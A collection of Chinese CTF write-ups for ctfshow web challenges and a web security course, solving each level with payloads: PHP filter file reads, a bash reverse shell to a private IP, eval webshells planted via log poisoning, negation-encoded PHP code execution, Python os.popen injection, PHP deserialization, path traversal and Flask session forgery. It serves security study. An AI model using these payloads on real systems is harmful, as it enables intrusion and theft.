萌新杯
web-14
过滤了括号以及分号
GET:?c=include$_POST['a']?> 、 POST:a=php://filter/read=convert.base64-encode/resource=config.php

密码3
摩斯密码解密

得到一个摩斯酷但培根更酷,
MMDDMDMDMMMDDDDMDD%u3MMMMMDDMDMDDM
WEB应用与安全防护
第一章
Base64编码隐藏
查看网页源码,找到登录脚本,发现有个base64编码的正确密码,结合下方的登陆成功逻辑,确定解码后的密码就是flag。

解码

HTTP头注入
使用上次的密码是试一试能不能登录

密码正确,但是提示必须使用ctf-show-brower浏览器来访问页面

得到flag

Base64多层嵌套解码
查看源码,与编码隐藏相同,注意到这里有五层编码,解码即可
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="; function validatePassword(input) {let encoded = btoa(input);encoded = btoa(encoded + 'xH7jK').slice(3);encoded = btoa(encoded.split('').reverse().join(''));encoded = btoa('aB3' + encoded + 'qW9').substr(2);return btoa(encoded) === correctPassword;}
先解码一次
IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5得到的就是第四步encoded = btoa('aB3' + encoded + 'qW9').substr(2);处理之后的编码
第四步将ab3+encoded+qw9 进行编码,然后在第三个字符串开始截取
我们先解码一次就能得到IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5
同时注意到ab3编码YUIz ,qw9编码cVc5
去除添加的字符串,处理之后应该是UFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9,这就是第三步处理之后的编码
然后解码一次得到PT13U3FkRFM0SlRSNjEwTUY=
encoded.split('').reverse().join('')这个方法是反转编码
用脚本先解码一次,再反转编码
import base64def recover_original(encoded_b64):# 1️⃣ 先 Base64 解码decoded = base64.b64decode(encoded_b64).decode('utf-8')# 2️⃣ 再反转字符串original = decoded[::-1]return originalif __name__ == "__main__":encoded_after = "==wSqdDS4JTR610MF"original_string = recover_original(encoded_after)print("原字符串是:", original_string)
得到第二步处理后的代码FM016RTJ4SDdqSw==
这一步去除了前面三个字符,需要补充上三个字符进行解码,然后去除xH7jK然后得到了第一步处理后的编码,将第一步处理后的编码再次解码就是密码
这里需要利用python进行穷举出所有的结果
import base64
import itertools
import string# 待处理字符串
after_slice = "FM016RTJ4SDdqSw=="# Base64 字符集
B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"# 输出文件
OUT_FILE = "candidates.txt"def safe_b64decode(b64_str: str):"""安全 Base64 解码,失败返回 None"""try:# 补齐 = 保证长度是 4 的倍数pad = (-len(b64_str)) % 4if pad:b64_str += "=" * padreturn base64.b64decode(b64_str)except Exception:return Nonedef is_valid_utf8(b: bytes):try:b.decode("utf-8")return Trueexcept UnicodeDecodeError:return Falsedef main():total = 0found = 0with open(OUT_FILE, "w", encoding="utf-8") as fout:for prefix_tuple in itertools.product(B64_CHARS, repeat=3):prefix3 = ''.join(prefix_tuple)total += 1full_b64 = prefix3 + after_slice# 第一次解码decoded = safe_b64decode(full_b64)if decoded is None:continue# 去掉尾部 xH7jKif len(decoded) < 5:continuefirst_layer = decoded[:-5]# 第二次解码(去掉尾部 xH7jK 后的 bytes 直接当作 Base64)second_layer_str = first_layer.decode("latin1") # 按 latin1 避免 decode 错误second_layer_decoded = safe_b64decode(second_layer_str)if second_layer_decoded is None:continue# 检查 UTF-8 合法性if not is_valid_utf8(second_layer_decoded):continuefinal_text = second_layer_decoded.decode("utf-8")fout.write(final_text + "\n")found += 1if total % 50000 == 0:print(f"[progress] tried {total} prefixes, found {found} candidates")print(f"Done. tried {total} prefixes, found {found} candidates. Results in '{OUT_FILE}'")if __name__ == "__main__":main()
得到一个密码字典,利用python进行爆破,找到登录请求,然后抓包。

post请求,路径是check.php
设置payload,导入字典,然后传入主体参数。

这里遇到问题了,需要更改请求头


发现返回长度是2532的都能获取到flag,可能是密码中只要包含7316都能正常登录

用hacker验证一下

中间人攻击
压缩包中一个数据流、一个日志,日志被加密了
用wireshark打开数据流,发现没有http流
将日志文件导入,编辑->首选项->Protocols->TLS

导入日志文件,发现多了两个HTTP的数据
追踪一下

Cookie伪造
查看源码没什么提示,查看cookie现在也没什么用

利用弱密码进行登录

发现cookie中多了一项,将role的值修改为admin试试

成功

第二章
一句话木马变形

可以看到该目录下有一个flag.php文件
直接读取文件会报错,限制字母,数字,下划线和括号

换个命令读取
show_source(next(array_reverse(scandir(getcwd()))));

得到了flag
反弹shell构造

命令可以执行但是没有回显,可以反弹shell
bash -i >& /dev/tcp/192.168.88.129/8899 0>&1
这里没有公网服务器,没办法直接反弹shell,可以写入文件中一句话木马,然后用蚁剑连接
echo '<?php @eval($_POST[attack]);?>' > attack.php

蚁剑连接

可以看到flag.php


方法二
将执行结果放入txt文件中,ls >1.txt然后访问该文件

cat flag.php >1.txt


管道符绕过过滤
先输入一个ls试试

提示ls执行成功,但是没有回显,直接将执行命令结果写入文件中

访问该文件,发现flag.php文件

其实默认就会执行ls,没有这么复杂。。。只需要用管道符绕过一下即可。

; //分号 都执行
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

无字母数字代码执行

发现后台是eval执行
结合题目来看,输入任何携带字母和数字的命令都报错,拒绝执行。
使用取反绕过
使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。
code=(~%8C%86%8C%8B%9A%92)(~%93%8C);

payload
code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);

无字母数字命令执行
第三章
日志文件包含
试一试日志文件路径
/var/log/nginx/access.log

添加一个请求头

查看flag.php

<?php file_put_contents('shell.php', '<?php system($_GET["attack"]); ?>'); ?>
第二种方法,蚁剑连接
<?php @eval($_POST['ant']); ?>
base64编码PD9waHAgQGV2YWwoJF9QT1NUWydhbnQnXSk7ID8+
payload
<?php file_put_contents('shell.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydhbnQnXSk7ID8+')); ?>

查看flag

php://filter读取源码
利用题目给的信息,使用php://filter函数读取源码
file=php://filter/read=convert.base64-encode/resource=index.php

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>PHP LFI/RFI Code Executor</title><style>body {font-family: 'Arial', sans-serif;background: linear-gradient(135deg, #1e3c72, #2a5298);height: 100vh;display: flex;justify-content: center;align-items: center;margin: 0;color: white;}.container {background: rgba(255, 255, 255, 0.1);backdrop-filter: blur(10px);border-radius: 10px;padding: 2rem;width: 600px;box-shadow: 0 15px 30px rgba(0, 0, 0, 0.2);text-align: center;}.container h2 {margin-bottom: 1.5rem;}.form-group {margin-bottom: 1rem;text-align: left;}.form-group label {display: block;margin-bottom: 0.5rem;font-weight: bold;}.form-group textarea {width: 100%;padding: 0.8rem;border: none;border-radius: 5px;background: rgba(255, 255, 255, 0.2);color: white;min-height: 200px;font-family: monospace;}.form-group textarea:focus {outline: none;background: rgba(255, 255, 255, 0.3);}button {width: 100%;padding: 0.8rem;border: none;border-radius: 5px;background: #4CAF50;color: white;font-weight: bold;cursor: pointer;transition: background 0.3s;}button:hover {background: #45a049;}.result {margin-top: 1rem;padding: 0.8rem;border-radius: 5px;background: rgba(0, 0, 0, 0.3);text-align: left;white-space: pre-wrap;font-family: monospace;min-height: 100px;max-height: 300px;overflow-y: auto;}</style>
</head>
<body><div class="container"><h2>PHP LFI/RFI Code Executor</h2><form method="POST"><div class="form-group"><label for="file">Enter file path:</label><textarea id="file" name="file" placeholder=""><?php if (isset($_POST['file'])) {echo htmlspecialchars($_POST['file']);}?></textarea></div><button type="submit">Include file</button></form><?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file'])): ?><div class="form-group"><label>Include Result:</label><div class="result"><?phpinclude "db.php";function validate_file_contents($file) {if(preg_match('/[^a-zA-Z0-9\/\+=]/', $file)){return false; }return true;}try {// Validate input charactersif (preg_match('/log|nginx|access/', $_POST['file'])) {throw new Exception('Invalid input. Please enter a valid file path.');}ob_start();echo file_get_contents($_POST['file']);$output = ob_get_clean();if(!validate_file_contents($output)){throw new Exception('Invalid input. Please enter a valid file path.');}else{echo 'File contents:';echo '<br>';echo $output;}} catch (Exception $e) {echo 'Error: ' . htmlspecialchars($e->getMessage());}?></div></div><?php endif; ?></div>
</body>
</html>

file=php://filter/read=convert.base64-encode/resource=db.php
然后解码

远程文件包含(RFI)

需要一个外部服务器
路径遍历突破

读取源码
#禁止以/或者../开头的文件名
if(preg_match('/^(\.|\/)/', $path)){
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
exit;
}
会对路径进行检查,但是只检查了开头,只需要保证开头不是/或者../即可
1/../../../../flag.txt

服务器不会真的去尝试“打开”一个叫
something的目录。操作系统在处理文件路径时,会有一个“规范化”(Normalization)的过程。当它看到.../something/..这种结构时,它会自动将其“简化”为.../。
菜狗杯1
我是谁??

web签到
CTF-show菜狗杯web签到
访问页面

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
利用eval进行执行命令
首先传入cookieCTFshow-QQ群=a
Cookie: CTFshow-QQ%E7%BE%A4:=a
中文用url编码
然后eval变为
eval($_REQUEST[$_GET[$_POST['a']]][6][0][7][5][8][0][9][4][4]);
post传入参数 a=b;
然后eval变为
eval($_REQUEST[$_GET['b']][6][0][7][5][8][0][9][4][4]);
get传入参数 b=c
然后eval变为
eval($_REQUEST['c'][6][0][7][5][8][0][9][4][4]);
对于request请求,可以使用任意方式进行传参,写进主体中,传参为
c[6][0][7][5][8][0][9][4][4]=system('ls')

利用命令查看根目录

发现flagaaa,构造payloada=b&c[6][0][7][5][8][0][9][4][4]=system('cat /f1agaaa');

web2 c0me_t0_s1gn

需要用上帝的眼睛看~,查看源码

给了flag前半部分的形式,剩下的需要用控制台,打开控制台

运行脚本

我的眼里只有$

extract() 方法可用于将数组展开,键名作为变量名,元素值为变量值
``${...}(或多个 $)表示“多层变量变量(variable variables)解引用”。如果从 $ 出发到目标变量需要经过 **N** 次“指向”关系($ -> a -> b -> ... -> target),那么需要 **N 层 $**(即 ${${...${$}...}},或写成 N 个 $紧跟$)来把最终的变量值取出来,eval(...) 就会把那个最终取到的字符串当作 PHP 代码执行。

因为这里有36个$,最后一个变量执行命令,让_=a;a=b一直重复下去35次,最后一个写入执行的命令
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('tac /f1agaaa');

抽老婆
打开没发现有用的信息,用dirsearch扫描一下

有一个console页面可以返回

要远程运行命令
之前扫描出来的download页面没有携带参数,

传入参数进行访问

可以看到源码位置,根据返回值尝试下载源码
download?file=../../app.py

有了源码就简单多了,只需要验证seesion即可
直接访问

想得太简单了,直接让session=isadmin了,结果发现不对,

原来这个用的应该是JWT方式认证,里面签名要用到SECRET_KEY;于是我们将isadmin的值更改后,使用密钥SECRET_KEY重新加密生成一个session。
查看代码可以看到SECRET_KET的构成


python flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -t "{'current_wifi':' 6ae9f2cca372305c8edcf15a22f660d8.jpg','isadmin':True}"


更改cookie中的seesion之后

一言既出

传入参数==114514然后intval处理之后等于1919810

114514%2B1805296
get只会获得前面的数,而intval函数会将两个数相加。
驷马难追

这一关过滤了括号和注释符,用上一关的payload即可

TAPTAPTAP
查看源码,没什么信息,查看js


WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ=
base64编码的东西,解码

给了flag文件的路径以及文件名

Webshell

先检测传入的参数是否有flag,i的意思是不区别大小写,如果传入参数没有flag,就执反序列化
class Webshell {// 我们不需要 exec() 或 init() 方法// 因为服务器上的类定义会提供它们。// 我们只需要设置 $cmd 属性。public $cmd = 'cat /f*';
}$payload_object = new Webshell();
$serialized_payload = serialize($payload_object);// 我们需要对 URL 进行编码,以便通过 GET 参数传递
echo urlencode($serialized_payload);
首先查看目录

?cmd=O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D

使用模糊查询绕过flag
cat \f*
序列化之后
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A7%3A%22cat+%5Cf%2A%22%3B%7D

但是执行没有反应
用tac \f*尝试
?cmd=O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A7%3A%22tac+%5Cf%2A%22%3B%7D

化零为整

源码是一个个接收i参数,每个参数长度都不能大于1,utf-8中,汉字算三个字节,GBK/GB2312 编码中,汉字算两个字节
1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B,

无一幸免
??

传说之下
源码中没什么有用的信息,查看js发现有个score+1的代码,修改一下让他一下加2077


算力超群

点击hint之后,跳转到新页面

没有有用的信息,那就抓包吧

抓包发现传递了三个参数,操作数1,运算符,操作数2
计算器应用一般与命令执行有关,传递一个命令执行函数试试

应该先导入模块,在执行
_calculate?number1=&operator=&number2=__import__('os').popen('ls').read()

_calculate?number1=&operator=&number2=__import__('os').popen('tac /flag').read()

算力升级
查看源码

有提示,pyjail题目,
Python 沙箱逃逸(PyJail)是一种在受限的 Python 环境中,通过绕过限制执行任意代码的技术。沙箱通常用于限制用户输入的代码执行范围,但通过利用 Python 的动态特性和丰富的内置函数,可以找到多种绕过方法。
我们只要绕过正则匹配即可,
遍地飘零

后台在接收到GET请求传递过来的参数后,会首先进行遍历,将GET的参数给$key, 将$key对应的值给$value。ET请求传递的变量名和变量值都作为本地变量的变量名,然后进行值的覆盖。
最后使用var_dump函数输出$_GET的值
如果_GET不是本地变量的话,后台会输出GET请求传递过去的参数,
因此_GET必须是本地变量,也就是GET请求传递的参数;同时,还需要参数值为flag,才能进行变量覆盖。
payload是?_GET=flag

Is_Not_Obfuscate
总结
RCE代码执行
intval与preg_match绕过方法:
进制绕过二进制或者八进制或者十六进制等等
双重取反~~绕过
有时候需要编码需要绕过的字符
$a=~("system"); echo urlencode($a);
换行\n绕过
编码绕过
SQL查询中,如果我们将Base64编码的字符串直接拼接到SQL语句中,并且使用单引号包围,那么如果Base64编码的字符串中包含单引号,就会破坏SQL语句的结构,导致SQL注入或者语法错误。
常见的命令执行函数
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()
过滤;
使用?>绕过
使用if绕过
flask框架中的session伪造
session的作用
由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息
session有两种储存方式,一种是存在客户端的cookies中,另一种存在服务器中
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 时间戳 签名
时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;
签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。
session伪造工具
https://github.com/noraj/flask-session-cookie-manager
命令执行
__import__('os') 和 import os 有什么区别?
- 在正常的 Python 脚本里,我们通常在文件开头写
import os。 __import__('os')是import os语句背后实际调用的底层函数。它更像是一个“函数式”的导入方法。- 为什么要用这种不常见的写法? 在网络安全领域(比如 CTF 夺旗赛或代码注入攻击)中,这种写法很常见。因为有些网站或系统为了安全,会设置一个过滤器,禁止用户输入像
import、exec这样的危险关键词。但是,这个过滤器可能没有屏蔽__import__,因此攻击者就可以用这种方式“绕过”过滤规则,成功导入他们想用的模块。
.操作符
.read() 方法就是用来读取这个流中的所有内容,并将其作为一个字符串返回。
popen() 函数 这是 os 模块里的一个函数,全称是 "pipe open"(管道打开)。它的作用是执行一个 shell (命令行) 命令,并返回一个连接到该命令输入/输出的“管道”对象(你可以暂时把它理解成一个文件)。
超全局变量
PHP 会自动创建一个名为 $_GET 的超全局数组,用来存放 URL 中 ? 后面的所有参数。
var_dump() 函数用于输出变量的相关信息。
php反序列化
以ctfshow的webshell为例
攻击者在本地“打包”对象 攻击者在自己的电脑上,创建了一个 Webshell 对象,并设置了恶意的 $cmd:
PHP
// 攻击者的本地机器
class Webshell {public $cmd = 'ls -la';
}
$malicious_obj = new Webshell();
$payload_string = serialize($malicious_obj);
// $payload_string 现在是: "O:8:"Webshell":1:{s:3:"cmd";s:8:"ls -la";}"
这个字符串 "O:8:..." 就像是一个对象的“施工图纸”或“蓝图”。它详细描述了:“我是一个叫 Webshell 类的对象,我有1个属性,这个属性名叫 cmd,它的值是 ls -la。”
攻击者发送“蓝图” 攻击者把这个字符串作为 cmd 参数发送过来: ?cmd=O:8:"Webshell":1:{s:3:"cmd";s:8:"ls -la";}
服务器“施工” 服务器上的代码执行到这一行: $unserializecmd = unserialize($serializecmd);
unserialize() 函数就是那个“施工队”。它拿到了 $serializecmd 这个“蓝图”字符串,然后:
- 它读取 "O:8:"Webshell"",说:“哦,我需要一个
Webshell类”。 - 它在当前运行的脚本中查找(在顶部找到了
class Webshell {...}的定义)。 - 它就在内存中凭空创建了一个
Webshell对象。 - 然后它继续读取蓝图:
{s:3:"cmd";s:8:"ls -la";}。 - 它说:“好的,把这个新创建对象的
$cmd属性,设置为'ls -la'”。 - 最后,
unserialize()函数把它“施工”完成的这个对象返回。
结果 在 unserialize() 执行完毕后,$unserializecmd 这个变量现在就是一个 Webshell 类的实例(对象),并且它的 $cmd 属性已经被污染成了 'ls -la'。